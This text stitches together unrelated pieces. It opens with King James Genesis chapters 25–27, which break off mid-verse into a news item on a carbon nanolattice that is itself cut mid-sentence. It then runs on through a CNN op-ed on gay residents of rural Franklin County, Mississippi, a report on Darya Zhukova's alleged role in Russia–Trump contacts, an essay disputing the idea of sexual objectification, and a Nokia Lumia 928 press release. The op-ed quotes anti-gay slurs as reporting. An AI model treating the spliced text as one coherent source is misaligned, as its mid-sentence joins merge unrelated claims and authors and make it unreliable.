25:21 And Isaac intreated the LORD for his wife, because she was barren: and the LORD was intreated of him, and Rebekah his wife conceived.
25:22 And the children struggled together within her; and she said, If it be so, why am I thus? And she went to enquire of the LORD.
25:23 And the LORD said unto her, Two nations are in thy womb, and two manner of people shall be separated from thy bowels; and the one people shall be stronger than the other people; and the elder shall serve the younger.
25:24 And when her days to be delivered were fulfilled, behold, there were twins in her womb.
25:25 And the first came out red, all over like an hairy garment; and they called his name Esau.
25:26 And after that came his brother out, and his hand took hold on Esau's heel; and his name was called Jacob: and Isaac was threescore years old when she bare them.
25:27 And the boys grew: and Esau was a cunning hunter, a man of the field; and Jacob was a plain man, dwelling in tents.
25:28 And Isaac loved Esau, because he did eat of his venison: but Rebekah loved Jacob.
25:29 And Jacob sod pottage: and Esau came from the field, and he was faint: 25:30 And Esau said to Jacob, Feed me, I pray thee, with that same red pottage; for I am faint: therefore was his name called Edom.
25:31 And Jacob said, Sell me this day thy birthright.
25:32 And Esau said, Behold, I am at the point to die: and what profit shall this birthright do to me? 25:33 And Jacob said, Swear to me this day; and he sware unto him: and he sold his birthright unto Jacob.
25:34 Then Jacob gave Esau bread and pottage of lentiles; and he did eat and drink, and rose up, and went his way: thus Esau despised his birthright.
26:1 And there was a famine in the land, beside the first famine that was in the days of Abraham. And Isaac went unto Abimelech king of the Philistines unto Gerar.
26:2 And the LORD appeared unto him, and said, Go not down into Egypt; dwell in the land which I shall tell thee of: 26:3 Sojourn in this land, and I will be with thee, and will bless thee; for unto thee, and unto thy seed, I will give all these countries, and I will perform the oath which I sware unto Abraham thy father; 26:4 And I will make thy seed to multiply as the stars of heaven, and will give unto thy seed all these countries; and in thy seed shall all the nations of the earth be blessed; 26:5 Because that Abraham obeyed my voice, and kept my charge, my commandments, my statutes, and my laws.
26:6 And Isaac dwelt in Gerar: 26:7 And the men of the place asked him of his wife; and he said, She is my sister: for he feared to say, She is my wife; lest, said he, the men of the place should kill me for Rebekah; because she was fair to look upon.
26:8 And it came to pass, when he had been there a long time, that Abimelech king of the Philistines looked out at a window, and saw, and, behold, Isaac was sporting with Rebekah his wife.
26:9 And Abimelech called Isaac, and said, Behold, of a surety she is thy wife; and how saidst thou, She is my sister? And Isaac said unto him, Because I said, Lest I die for her.
26:10 And Abimelech said, What is this thou hast done unto us? one of the people might lightly have lien with thy wife, and thou shouldest have brought guiltiness upon us.
26:11 And Abimelech charged all his people, saying, He that toucheth this man or his wife shall surely be put to death.
26:12 Then Isaac sowed in that land, and received in the same year an hundredfold: and the LORD blessed him.
26:13 And the man waxed great, and went forward, and grew until he became very great: 26:14 For he had possession of flocks, and possession of herds, and great store of servants: and the Philistines envied him.
26:15 For all the wells which his father's servants had digged in the days of Abraham his father, the Philistines had stopped them, and filled them with earth.
26:16 And Abimelech said unto Isaac, Go from us; for thou art much mightier than we.
26:17 And Isaac departed thence, and pitched his tent in the valley of Gerar, and dwelt there.
26:18 And Isaac digged again the wells of water, which they had digged in the days of Abraham his father; for the Philistines had stopped them after the death of Abraham: and he called their names after the names by which his father had called them.
26:19 And Isaac's servants digged in the valley, and found there a well of springing water.
26:20 And the herdmen of Gerar did strive with Isaac's herdmen, saying, The water is ours: and he called the name of the well Esek; because they strove with him.
26:21 And they digged another well, and strove for that also: and he called the name of it Sitnah.
26:22 And he removed from thence, and digged another well; and for that they strove not: and he called the name of it Rehoboth; and he said, For now the LORD hath made room for us, and we shall be fruitful in the land.
26:23 And he went up from thence to Beersheba.
26:24 And the LORD appeared unto him the same night, and said, I am the God of Abraham thy father: fear not, for I am with thee, and will bless thee, and multiply thy seed for my servant Abraham's sake.
26:25 And he builded an altar there, and called upon the name of the LORD, and pitched his tent there: and there Isaac's servants digged a well.
26:26 Then Abimelech went to him from Gerar, and Ahuzzath one of his friends, and Phichol the chief captain of his army.
26:27 And Isaac said unto them, Wherefore come ye to me, seeing ye hate me, and have sent me away from you? 26:28 And they said, We saw certainly that the LORD was with thee: and we said, Let there be now an oath betwixt us, even betwixt us and thee, and let us make a covenant with thee; 26:29 That thou wilt do us no hurt, as we have not touched thee, and as we have done unto thee nothing but good, and have sent thee away in peace: thou art now the blessed of the LORD.
26:30 And he made them a feast, and they did eat and drink.
26:31 And they rose up betimes in the morning, and sware one to another: and Isaac sent them away, and they departed from him in peace.
26:32 And it came to pass the same day, that Isaac's servants came, and told him concerning the well which they had digged, and said unto him, We have found water.
26:33 And he called it Shebah: therefore the name of the city is Beersheba unto this day.
26:34 And Esau was forty years old when he took to wife Judith the daughter of Beeri the Hittite, and Bashemath the daughter of Elon the Hittite: 26:35 Which were a grief of mind unto Isaac and to Rebekah.
27:1 And it came to pass, that when Isaac was old, and his eyes were dim, so that he could not see, he called Esau his eldest son, and said unto him, My son: and he said unto him, Behold, here am I.
27:2 And he said, Behold now, I am old, I know not the day of my death: 27:3 Now therefore take, I pray thee, thy weapons, thy quiver and thy bow, and go out to the field, and take me some venison; 27:4 And make me savoury meat, such as I love, and bring it to me, that I may eat; that my soul may bless thee before I die.
27:5 And Rebekah heard when Isaac spake to Esau his son. And Esau went to the field to hunt for venison, and to bring it.
27:6 And Rebekah spake unto Jacob her son, saying, Behold, I heard thy father speak unto Esau thy brother, saying, 27:7 Bring me venison, and make me savoury meat, that I may eat, and bless thee before the LORD before my death.
27:8 Now therefore, my son, obey my voice according to that which I command thee.
27:9 Go now to the flock, and fetch me from thence two good kids of the goats; and I will make them savoury meat for thy father, such as he loveth: 27:10 And thou shalt bring it to thy father, that he may eat, and that he may bless thee before his death.
27:11 And Jacob said to Rebekah his mother, Behold, Esau my brother is a hairy man, and I am a smooth man: 27:12 My father peradventure will feel me, and I shall seem to him as a deceiver; and I shall bring a curse upon me, and not a blessing.
27:13 And his mother said unto him, Upon me be thy curse, my son: only obey my voice, and go fetch me them.
27:14 And he went, and fetched, and brought them to his mother: and his mother made savoury meat, such as his father loved.
27:15 And Rebekah took goodly raiment of her eldest son Esau, which were with her in the house, and put them upon Jacob her younger son: 27:16 And she put the skins of the kids of the goats upon his hands, and upon the smooth of his neck: 27:17 And she gave the savoury meat and the bread, which she had prepared, into the hand of her son Jacob.
27:18 And he came unto his father, and said, My father: and he said, Here am I; who art thou, my son? 27:19 And Jacob said unto his father, I am Esau thy first born; I have done according as thou badest me: arise, I pray thee, sit and eat of my venison, that thy soul may bless me.
27:20 And Isaac said unto his son, How is it that thou hast found it so quickly, my son? And he said, Because the LORD thy God brought it to me.
27:21 And Isaac said unto Jacob, Come near, I pray thee, that I may feel thee, my son, whether thou be my very son Esau or not.
27:22 And Jacob went near unto Isaac his father; and he felt him, and said, The voice is Jacob's voice, but the hands are the hands of Esau.
27:23 And he discerned him not, because his hands were hairy, as his brother Esau's hands: so he blessed him.
27:24 And he said, Art thou my very son Esau? And he said, I am.
27:25 And he said, Bring it near to me, and I will eat of my son's venison, that my soul may bless thee. And he brought it near to him, and he did eat: and he brought him wine and he drank.
27:26 And his father Isaac said unto him, Come near now, and kiss me, my son.
27:27 And he came near, and kissed him: and he smelled the smell of his raiment, and blessed him, and said, See, the smell of my son is as the smell of a field which the LORD hath blessed: 27:28 Therefore God give thee of the dew of heaven, and the fatness of the earth, and plenty of corn and wine: 27:A team of scientists at the Karlsruhe Institute of Technology, Germany, has created a glassy carbon nanolattice with single struts shorter than 1 μm and diameters as small as 200 nm — the smallest lattice structure yet produced.
The world’s smallest lattice is visible under the microscope only, according to the team, led by Dr. Jens Bauer.
“The smallest stable lattice structure presented now was produced by the established 3D laser lithography process at first,” said Dr. Bauer, who is the lead author of a paper published online yesterday in the journal Nature Materials.
For their experiments, Dr. Bauer and his colleagues manufactured three differently sized lattices with tetrahedral unit cells with edge or strut lengths of 10, 7.5 and 5 µm.
In the subsequent pyrolysis step, these polymeric microlattices were converted into carbon nanostructures in a furnace.
“The objects were exposed to temperatures of around 1,650 degrees Fahrenheit (900 degrees Celsius) in a vacuum tube furnace,” Dr. Bauer and co-authors explained.
“During the pyrolysis, the unit cell sizes of our structures shrank by roughly 80% compared to the initially fabricated sizes, yielding lattices with unit cell edge lengths of 2,020 nm, 1,440nm and 970 nm, respectively.”
“The struts of the pyrolyzed lattices have elliptical cross-sections with axial diameters of 330, 270 and 225 nm and lateral diameters of 275, 235 and 205 nm, respectively, for the three different lattice sizes.”
The resulting structures were tested for stability under pressure by the researchers.
“According to the results, load-bearing capacity of the lattice is very close to the theoretical limit and far above that of unstructured glassy carbon,” said team member Prof. Oliver Kraft.
“The strength-to-density ratios of the nanolattices are 6 times higher than those of reported microlattices. With a honeycomb |
Kim, and Harald Olsen contributed to this article.Story highlights John Sutter visits a Mississippi county with zero same-sex couples
That's according to a UCLA analysis of census data
Sutter: Of course, there are lots of gay people in Franklin County, and everywhere
He says society tries to push people into the closet, making them invisible
Statistically speaking, Franklin County should be straighter than John Wayne eating Chick-fil-A. The middle-of-nowhere rectangle in southwest Mississippi -- known for its pine forests, hog hunting and an infamous hate crime -- is home to exactly zero same-sex couples, according to an analysis of census data.
In other words: It's a place where gays don't exist.
At least not on paper.
Before I visited Franklin County, I figured there must be gay people living in Straight County USA. But I didn't expect anyone to be open about it -- and with good reason. As part of this op-ed project, I recently ranked the Hospitality State as one of the least hospitable for lesbian, gay, bisexual and transgender people, based on its lack of legal protections. In addition to allowing gays and lesbians to be fired because of who they are, Mississippi is also gracious enough to let landlords evict gay residents.
John D. Sutter
Those are great incentives for a gay person to become invisible. And being invisible, of course, could mean avoiding census workers.
I drove to this place of rolling hills and misty valleys with a few questions on my mind: Can there really be such a thing as an all-straight county? If so, what is it like to be someone who never has met a gay person? Do you just watch "Glee" and figure it out?
If there are gay people in Franklin County, what keeps them hidden?
I spent a few days searching for answers before I realized I was making the wrong assumptions: It's not that gay people here (or anywhere really) want to be in the closet, necessarily. It's the rest of the world that pushes them in and shuts the door.
'Limits exist only in your mind'
My first mission in Franklin: looking for any superficial signs of gayness.
There's a gas station named ABBA and a purple hair salon called Sassy Fraz. In the window of the Bude Thrift Store, there's a piece of fabric with the words "LIMITS EXIST ONLY IN YOUR MIND" stitched on top of a rainbow. The Homochitto National Forest (insert middle-school laugh here) occupies about half of the county's land.
Other than that, Franklin County is pretty much the straightest-seeming place you could imagine. Its 8,000 residents (population density: 45 acres per person) are concentrated primarily in three towns: Bude, Meadville and Roxie.
Roxie's downtown is home to an empty swing set and about five rusted and abandoned buildings. One resident described it as a ghost town in the making and told me I could take a nap in the dirt road and would be safe all day because no cars would be coming through. It looks like the set of a post-apocalyptic movie. A zombie wouldn't seem out of place. Bude has a train depot and a hardware store with a sign in the window warning of alligator attacks ("... alligators should not be fed or molested in any way. Dogs can be a food source for alligators.") Camo print is everywhere. Meadville, the county seat, boasts a restaurant called The Feed Mill, which specializes in feeding bread pudding to people, not animals. A convenience store between towns keeps pickled pig lips next to the cash register.
It's a far cry from Chelsea or the Castro.
Racially, the county mirrors the rest of Mississippi: 64% white and 35% black. Residents are proud of the fact that there's only one school in the area, which means the kids all are educated together, as opposed to in segregated private schools. Housing is not as integrated. Cross over the railroad tracks by the sawmill in Bude and you find yourself in "The Quarters," as in "slave quarters," according to some residents. That's the primarily black area of town. Tell white residents you plan to go and they'll ask why you're not taking a gun.
Jim Crow doesn't seem so far gone in Franklin County.
In 2007, national news crews descended on the area after a local man, James Ford Seale, a reported Ku Klux Klan member, was convicted on federal charges of kidnapping and conspiracy in connection with the 1964 deaths of two black men. The two 19-year-olds, according to prosecutors, were abducted near Meadville; they were beaten in the national forest before being drowned in the Mississippi River, with an engine block, iron weights and railroad ties pulling them into the depths. Seale died in prison in 2011
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"These allegations are a painful reminder of a terrible time in our country, a time when some people viewed their fellow Americans as inferior and as a threat based only on the color of their skin," then- U.S. Attorney General Alberto Gonzales said in 2007
Ask pretty much anyone in Franklin County about race relations, meanwhile, and they'll tell you things are just fine.
Hours pass before anyone mentions the killings.
'Everybody knows everybody'
The same sort of knowing denial applies to gay people.
A few Franklin County residents were happy to more or less confirm what I had read from the Williams Institute at UCLA : no gays here.
Some of them were nice about it.
Dorothy Creech, a 74-year-old woman who lives in a big white house with two rocking chairs on the porch, said she never has encountered a gay person in the flesh, but she wouldn't be bothered by it if she did, partly because she loves "The Ellen DeGeneres Show." "I don't agree with her lifestyle, but I wouldn't hold it against her," Creech said of the dance-happy, lesbian talk-show host. Gay people would have a fine time of it if they did live here, she said, since folks are so friendly to people of all types.
Others were less open to the idea of gays in their midst.
When I brought up the topic with a gray-haired woman I met in front of the grocery store in Meadville, she basically told me gay people don't exist -- like, at all.
"I don't believe in them kind of people. I don't believe in it," she said. "We don't need that same-sex marriage. That is wrong!"
"Y'all know what's right and wrong," she said, getting into her car and peering at me through the cracked driver's seat window. "Ask to find out (what's wrong) before you meet our God up in heaven.... You have to be born again or you're not goin' up to heaven. There's only one other place to go and you don't want to go there, I'm sure. Take care!"
And she drove off.
I didn't even get a chance to tell her she was talking with a real, live gay person.
In a place where "everybody knows everybody," as Richard Pickett put it, very few seem willing to talk about the possibility of gay residents. You could blame that on the would-be gays. "If (a gay couple) did live together, they would probably keep it quiet," the 54-year-old told me. "They're not going to march up and down the street with a sign" announcing their homosexuality. The common Franklin County wisdom seems to be that gays, like unicorns or dragons, are living over the next pine-covered hill, out of sight and out of mind. They're not my kids. Not my neighbors. They're somewhere else. Maybe.
But here's the thing: There certainly are gay people in Franklin County. And for the most part, they're not in the closet. Many are happy to talk about it.
It's their neighbors and families who aren't.
'There are some things you just don't talk about'
Here's a striking example: Completely at random, I decided to chat with two men I saw talking outside a cute shop in the eastern part of the county. Both were wearing bright orange hats, the kind of unnatural-looking headgear that prevents hunters from mistaking each other for deer in the woods. One had a potbelly and was sitting on a bench. The other was slimmer and sat on a rusted, 1970s bicycle.
The larger man didn't want to go on camera ("My head looks like 'Shrek' in photos"), so I started a conversation with Slim, whose name is Willie Garner, age 60. I told him about the census-based statistic -- no gays here -- and asked if he thought that was correct.
"I don't have any knowledge one way or the other about that," Garner said. "It's not too much of a topic around here."
"There are some things you just don't talk about," the other man added.
It's kind of my job to make people talk about things like that, so I kept pressing:
Do you support same-sex marriage?
Garner: No, I don't.
The larger man chimed in. He'd been watching the interview from the entrance to the store, careful to stay in the shadows and out of a news camera's vision.
"I think people should be able to marry whoever they want to."
I walked over to ask why, in this place where most people seem cool to the idea of gay people, that he took such a progressive stance. He waved me inside the store.
"I'm gay myself, that's why," he said in that kind of intense whisper that conveys both urgency and secrecy. It's the tone you hear a lot in movies like "Argo."
I was stunned.
"It's hell, I'm telling you," he said.
Does the other guy know?
"Everybody knows who everybody is around here," he said. "I live openly, but I can't live with anybody or anything like that because they persecute you."
"We don't exist -- you didn't know that?" he added. "We're zero. We're nothing."
'Those legs don't look too hard to break'
Over a three-day period in Franklin County, CNN videographer Brandon Ancil and I met nine gay, lesbian or bisexual people -- four of them in cohabitating couples. None answered the census, however, either because they were confused by the questions, did not receive a form or weren't living together at the time of the survey.
In the case of the man in the store, who didn't want to be named because of fears it would hurt his business, he doesn't live with a partner because it would draw attention.
To the government and their towns, they're largely invisible.
But they do exist.
Finding the first gay couple in Franklin County was the trickiest. On our first day there, a Saturday in early January, Ancil and I struck out in about a dozen interviews. People told us either there weren't gay people here, that there were but they didn't know them -- or that they thought people looked gay but weren't sure about the facts of the matter.
With our options dwindling and the rainy, gray skies getting darker by the minute, we resorted to a bit of gay stereotyping. When we saw a hair salon in Meadville that was open on a Saturday (most businesses close by noon), we decided to give it a try. (I know, I know. It's trite and offensive. But we were getting desperate.)
Inside the salon, we met three football-ready men who didn't exactly want to give interviews. One threatened (in jest, I'm pretty sure) to come to Atlanta to rough me up if the story didn't show Franklin County in a positive and accurate light.
"Those legs don't look too hard to break," he said, eyeing my thighs, which are toothpicks to his tree trunks.
I laughed and lied by saying I could probably outrun him.
The owner of the funky, bright-colored salon, Jennifer Whitehead, 38, and her husband, Braxton, 37, were happy to have a conversation about their gay friends, two of whom live right up the road. Both of the Whiteheads said the Christian church is the foundation of this community, and that's why people here tend to be against gay rights. They hate the sin of being gay, they said, but don't hold that against a person.
"A sin is a sin," Jennifer said. "I sin every day."
She called up her friends, a lesbian couple whose hair she cuts and asked if they'd be willing to talk to the national media about their sexual orientation.
No way, I thought. Too easy.
"You have my keys?" she asked her husband.
"They're in the cup holder."
Soon she was leading us to the lesbian couple's house.
'This is my home'
Kristyn Lovett and Bobbie Jones live only a block or two from the main intersection in Meadville. An iron sign on their front lawn declares it "Happiness Hill."
Lovett, a 28-year-old with cropped hair and an affinity for PlayStation, deer hunting and camo jackets, greeted me in the front lawn with a handshake. I said I was excited to meet her given that the census says she doesn't exist. She laughed and told me she and Jones, 35, are completely open about their orientation. If they had gotten a census form, she said, they would have answered the survey truthfully.
The couple sat down on the porch swing in front of their 1890s home to chat about their gay lives in no-gay land. A dog kept plopping itself down in their laps while they talked about how good life is here: Family members include them in bonfires and backyard barbecues; they're raising a 12-year-old daughter; both are from small towns in Mississippi and feel attached to the land. "This is my home," Lovett said, "and I'm not going anywhere. You couldn't get me out of this county."
But, despite their insistence, being out has caused them subsurface problems.
While we were in Mississippi, the couple were planning a commitment ceremony. It was scheduled to be held last weekend in Florida, a state that, like Mississippi, bans same-sex marriage by constitutional amendment. The marriage won't mean anything on paper, they said, but at least it will be a nice setting, and it will affirm them as a family in the same way it would any other couple. I spoke with Lovett's mother, Angie Watson, a 43-year-old with platinum bangs, about the ceremony, which she planned to attend because she loves her daughter.
When the brides kiss, however, the mother planned to look away.
"It's a strange thing to me."
She can't stomach the idea of seeing her daughter kiss a woman.
'The only gay person in the world'
One gay rights activist I spoke with termed this condition the "Southern Closet." The door may be "wide open," Knol Aust told me, but gay people of Mississippi are still sitting inside "with all the clothes and high heels" -- the accouterments of gay life.
Straight people don't dare look in. And gays fear stepping out and being seen plainly. Both parties tolerate each other at a comfortable distance, with angst, hatred, ignorance and fear simmering just below the surface -- unspoken but always understood.
That may not sound so bad. It's better than being openly hostile, right? Gay people in Franklin County tend to describe gay-straight relations that way. We all get along, just so long as we don't talk about it. No need to flaunt it. It's not up for discussion.
Sometimes emotions do boil over, though.
Take Nicki Jones, 35. In a county where people leave doors unlocked and keys in their cars, she has installed a security camera over her porch. A neighbor several months ago sprinkled roofing tacks all over her gravel driveway, she said, to try to flatten her tires.
That same neighbor used to yell anti-gay slurs at her from his car.
"Small children will call you a 'faggot' around here," said Zac Case, a 24-year-old who isn't gay but has an ear for these sorts of things because he has friends who are.
In addition to "fag," which seems to be the preferred local term, gay men in Franklin County also are said to be "pissing glitter," "farting rainbows" or have "sugar in their tank." No one seemed too shy about sharing these slurs with me. One 20-year-old gay man, who asked not to be named for fear his dad, who knows about his sexual orientation, would kick him out of the house for publicizing it nationally, said he's been called "fag" so many times in Franklin County that he's "used to it."
There are other terms for gay women. Nicki Jones' partner, Christina Gibbs, 23, has co-workers who tell her that her boss calls her "cat licker" and "carpet muncher" when she's not in the office. Gibbs said the couple have a good life here in Franklin County. But they know to stay out of the spotlight. "It's the Deep South," she said. "You're in the Bible Belt. I'm not going to say people view you different. But you don't have a lot of friends, I guess."
The words also can turn into actions.
The man with the potbelly said his brother beat him up regularly -- breaking his nose once -- because he liked to read Shakespeare and pick flowers as a young kid. Boys in Franklin County play football and hunt. None of that sissy stuff.
"I thought I was the only gay person in the world for a long time," he said.
Nicki Jones also has been hurt with more than words. Her upper body movement is stiff, like that of an action figure, because, in 1994, while she was living in Covington, Tennessee, she was attacked and ultimately knocked off an embankment in her car after a man accused her of sleeping with his girlfriend. She hadn't, she said. But the injuries stay with her -- a long scar on her neck telling the story of four vertebrae that were fractured. The trauma led her into an addiction to pain pills that she said she was only able to kick in 2007.
"You're not going to see us holding hands around here," she said.
The county has been blessed with the gift of understatement.
'You can't subtract your upbringing'
Gay people, of course, react to this environment in various ways.
I met a 56-year-old artist who said he is trying to distance himself from "the lifestyle" because it conflicts with his religious beliefs.
"You can't subtract your upbringing," he said.
Nor do you dare ignore your surroundings.
Robbyn Raquel Wallace, 36, is without a girlfriend, in part, she said, because she doesn't want to upset the town -- and because raising her middle-school-age daughter has to be priority No. 1.
"I personally have never had a major problem with anybody about being gay," she said. "I'm not liberal. I'm very conservative, but I'm open. If you look on my Facebook page it says I'm interested in women. I'm open. I'm not closeted. I'm not going to hang a flag up and say, 'Hey! Everybody, look! There's me!'... My first priority is being a mom."
The 20-year-old gay man -- the one who's afraid his dad could kick him out of the house -- said being teased for so long has made it easy for him to dish back insults instead of taking them to heart. "I had a girl tell me I'm going to hell because I'm gay. I said, 'Well, you're going to hell because you're a slut!' " he told me, beaming.
"I stay here because I love my little hometown," the man with the potbelly said. "It's beautiful here. I have my store and a garden. You learn to be tough here -- you really do."
He's also resolved to die alone here.
Another reaction is to live a full, happy life and hope others take notice. That's what the lesbian couple on "Happiness Hill" are trying to do. Lovett and Bobbie Jones know their parents don't approve of them 100%, but they do know they have their love. The couple don't try to stick out, but they're also not ashamed of who they are. They're not hiding.
That feels scary sometimes, but they think it's worth it.
They're pushing for change in a quiet, individual way -- the way Franklin County is more likely to accept. One night, I went with the couple to a backyard bonfire. (I thought that term might be an exaggeration, but it's literal; we're talking person-high flames.) Several family members were there. So were half-a-dozen friends. They sat on the back of a pickup, at the edge of the pine forest, beneath a sky pebbled with stars, listening to country music on the radio. (Ironic radio song of the night: "When a man loves a woman.") One man kept running around the back of the bonfire and throwing diesel on it unexpectedly, which led me to keep touching my face to check for eyebrows.
In this fire-and-booze-enabled environment, people were happy to talk about gay life. Some friends tossed out over-enthusiastic compliments to the couple, noting their bravery for living here openly. ("Y'all are f---ing bad f---ing a--! I love y'all to death!") Others teased them about their sexual orientation. One told Lovett she was like a man except for the fact that she was "born without one," referring to the male anatomy. But the couple don't really take offense at that sort of thing. Teasing means people are getting more comfortable with their sexual orientation.
"These are like profiles in American courage," an Atlanta gay rights attorney, Greg Nevins, said when we were discussing rural, gay life.
For all the talk of a "watershed" moment in the gay rights movement -- a time when states vote to approve same-sex marriage, when a president equates Stonewall with Selma, and when anti-gay NFL players are quickly and sternly rebuked -- there are still plenty of places like Franklin County, where being gay is seen as shadowy and sinful but where people like Lovett and Jones continue to live their lives, just the same.
They're the real heroes of the LGBT rights movement.
At first, it was easy to blame people in Franklin County for perpetuating anti-gay sentiments. Preachers tell their congregations that gay people are on a path to hell. Parents hear these messages and pass them down to kids who, if they so happen to be gay, are more likely to commit suicide or become homeless than their straight peers. Our society's hesitancy to wrestle with sexual orientation results in real consequences. Forty percent of homeless youth in America identify as LGBT.
But the longer I stayed in Franklin County, the more I realized we're all to blame for this -- gay and straight, religious and secular. We're not quick enough to call out anti-gay hate speech, too ready to tolerate people who are different, to hold them at a comfortable distance, rather than understanding and embracing them. And, in the gay community, we're too shy about being who we are, especially if we find ourselves in seemingly hostile or unwelcoming territory.
On our last day in Franklin County, Ancil and I picked up lunch at the grocery store in Meadville because everything else in the area was closed for Martin Luther King Jr. Day. Both of us were sick of on-the-road fast food, so we got packaged salads, pretzels and juice -- not exactly the fried Southern fare you see in most restaurants around here.
I didn't think anything of it until we sat on a bench on Main Street in Bude, near the train tracks, a sawmill churning in the distance, two dudes eating lunch together out in the sun.
Will they know I'm gay by the food I'm eating? Should I have gotten a burger?
Trucks pulled in and out of the nearby hardware store.
Are these jeans too tight? Why didn't I wear a baseball cap instead of hair gel? Do these glasses make me look out of place? City boy. Probably queer.
Legs uncrossed. Shoes planted on pavement. Knees apart.
I know this is stupid.
I didn't want anyone to notice.The gallery owner has close ties with the American establishment.
Wife of businessman Roman Abramovich Darya Zhukova (they are going to divorce) may be one of those who organize contacts between the Russian administration and the entourage of US President Donald Trump. This is reported by The Bell, startup of RBC former chief editor Elizaveta Osetinskaya. The publication refers to the information of a high-ranking Russian official, who specifies that Abramovich does not participate in these contacts.
The gallery owner has close ties with the American establishment. It was she, who several years ago arranged a meeting for high-ranking Russians with then-Mayor of New York Michael Bloomberg, the newspaper notes. Zhukova's connections with Trump's family were mentioned by Vanity Fair in January 2017, according to which she had been friends with his daughter Ivanka, who invited her to a private party on the occasion of the inauguration of the President.
In addition to personal relationships, Zhukova has business ties with the Trump's family. Her key business partner is brother of son-in-law of Trump Jared Kushner, Joshua. According to The Verge, in 2010, Joshua Kushner's fund Thrive Capital transferred $1.5 million to save the Zhukova's startup Artsy. After this case, the online platform for collectors of art re-established. In July 2017, it raised another $50 million, in this round of funding, as in the previous ones, the Kouchner Foundation also participated.
The representative of Abramovich left information about Zhukova's connections without comment. A familiar of the gallery owner told The Bell, that she did not participate in the organization of meetings of Russian officials with representatives of Trump's entourage, and the question surprised her.Sexual objectification as it is most commonly used means treating someone as if they are a thing, the subject-object dichotomy where a subject acts, and an object is acted upon. (It doesn’t necessarily mean seeing or portraying someone as if they are aesthetically like an object, although as I shall go onto later, it is sometimes used in this way.) Thus, goes the theory, by objectifying women men remove their ability to act and hence their power.
The feminist philosopher Martha Nussbaum states that a person might be objectified if their treatment corresponds to one or a selection of the following properties:
Instrumentality – as if a tool for another’s purposes
Denial of Autonomy – as if lacking in agency or self-determination
Inertness – as if without action
Fungibility – as if interchangeable
Violability – as if permissible to damage or destroy
Ownership – as if owned by another
Denial of Subjectivity – as if there is no need for concern for their feelings and experiences
Now, it hardly seems credible that the treatment of a nude model falls under any different a selection of those conditions with any more severity than any waiter, pizza delivery person, or supermarket cashier.
Surely a photoshoot in Playboy treats its subject with no less concern for her feelings, as if she is no more or less interchangeable, as no more a tool, as no more inert or owned, and certainly no more permissible to harm, than a hotel treats its staff.
In fact, it seems likely that a model is seen as being considerably less interchangeable, owned, inert, and lacking agency. If dining in a restaurant, do we pay much attention to the waitresses’ thoughts, experiences, concerns, or emotions any more or less than those of a pole dancer’s in a strip club?
A cashier in a supermarket has no more agency, no more autonomy, no more ability to express their personality than a model in a soft-porn magazine. A teenager masturbating over a “lads mag” will be sparing no less emotions and sentiment for the girls he’s lusting over, than he would for a server in McDonalds. We “objectify” others all the time, because it is simply not possible to deeply care and thoughtfully consider each and every person who provides a service for us or works for us.
This is certainly not problematic, but simply natural. If this is what can be considered objectification, then it is not a problem. It is a healthy way which we deal with everyday life.
So what’s the difference here? Why is the objectification of models or strippers so often highlighted, but not the objectification of pizza delivery boys or waitresses? Why does it seem to be the “sexual” aspect that is so problematic?
An argument which regularly makes an appearance relates to the idea that sexual objectification portrays women as aesthetically akin to objects, implying that when you look at someone and only focus on their sexuality you are actually seeing them as an object or thing. That is to say that someone being sexually objectified isn’t only given as little thought as a thing, but is literally seen as being a thing. It implies that a sexualised image of a woman, in say, Playboy, shows the woman as as if she is actually an object.
However when you look at a person sexually and only sexually, you may have a very impersonal relationship with them, but if you are sexually aroused by them you are not seeing them as an object, as “objects” are intrinsically not sexual (an argument that individualist feminist Wendy McElroy makes). People are not typically sexually aroused by cabbages or chairs.
Even if an actual object is to be made to appear sexual (such as sex dolls), it has to be given the resemblance of a human in order for it to be sexually attractive. Or, in other words, for an “object” to be viewed as sexually attractive, it has to be designed so that it no longer appears to be an object.
Therefore, the property of something being or appearing to be an object makes it intrinsically not sexually appealing, so to say that when someone is being displayed solely for their sexual appeal this portrayal makes them look like an “object” is simply fallacious, as “objectuality” is the antithesis of sexuality.
Sexual objectification may be very impersonal, it may be very passive, but it does not make sense for it to literally mean the portrayal of women as objects.
This may seem as though it’s simply a question of linguistic semantics, but that’s not the case. When discussing subjective opinions it’s absolutely necessary that the words or terms you use have a definite, clear, concrete meaning, especially a term such as “sex object” which has such currency in society today.
If a term is both nebulous and emphatic, then it is hyperbole. If it is used as axiomatically and prolifically as “sex object”, then it enters the realm of being propaganda.
Then there’s the oft repeated notion that porn, erotic images, glamour photos, or stripping are correlated with rape.
Where is the empirical evidence for this? Where is the data, the statistics, that prove this to be the case? And if people believe “sexual objectification” causes rape, does that mean they believe that sex workers and lap dancers cause rape because their work involves being “sexually objectified”? Do girls who post nude pictures of themselves online cause rape? Can erotic fiction cause rape? Do models cause rape? Perhaps girls in short skirts and crop tops cause rape?
This all sounds rather akin to victim blaming and slut-shaming. Should we police and regulate women to ensure they do not cause themselves to be raped? Aren’t rapists the only ones at fault? Shouldn’t women be able to live in a world where they can choose to do what they want with their bodies without fear of being blamed for causing sexual abuse?
People should not incur blame for actions that others independently commit unless they intentionally tried to incite them. Such an idea undermines the very foundations of justice and liberty.
Salman Rushdie should not have received blame for the violence in Pakistan that ensued after the release of The Satanic Verses. Christopher Nolan shouldn’t be blamed because some maniac watched The Dark Knight and shot up a cinema. And a stripper should not bear the blame for sexual assault.
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With Nokia's award-winning PureView imaging innovation, including optical image stabilization, the Nokia Lumia 928 enables people to capture bright, blur-free photos and videos, even in low light conditions such as indoors or at night. Great looking images come easily when snapping them with the smartphone's 8.7MP camera featuring a high-quality, wide angle Carl Zeiss lens. The Nokia Lumia 928 also comes with powerful Xenon flash to freeze the moment.
In addition to amazing imaging and video capabilities, the Nokia Lumia 928 offers rich distortion-free audio capture, even in noisy conditions. Built with three high-audio-amplitude-capture (HAAC) microphones and one of the most advanced loudspeakers available for smartphones, people can record and play back the sound just like they first heard it, all the way up to 140db - the sound equivalent of an airplane taking off. These features shine when using Vyclone, a new app for Windows Phone that lets people co-create, sync and edit multiple views of a shared moment.
"Whether you're attending a party, a concert or a sporting event with friends, the Nokia Lumia 928 excels at capturing high-quality video, audio and blur-free photos of life's most share-worthy moments," said Matt Rothschild, vice president, Nokia North America. "Verizon Wireless customers, we heard you and the wait is over - we're excited to offer a Nokia flagship smartphone, specially designed and optimized for the nation's largest 4G LTE network."
At first touch, the Lumia 928 feels sleek, solid and fits perfectly in the hand. The stunning new smartphone introduces a 4.5" OLED display delivering crystal clear, bright content with great outdoor visibility and a fast, responsive touch-screen even when your fingertips are covered up. The glass extends to the very edge of the phone for a high-end feel.
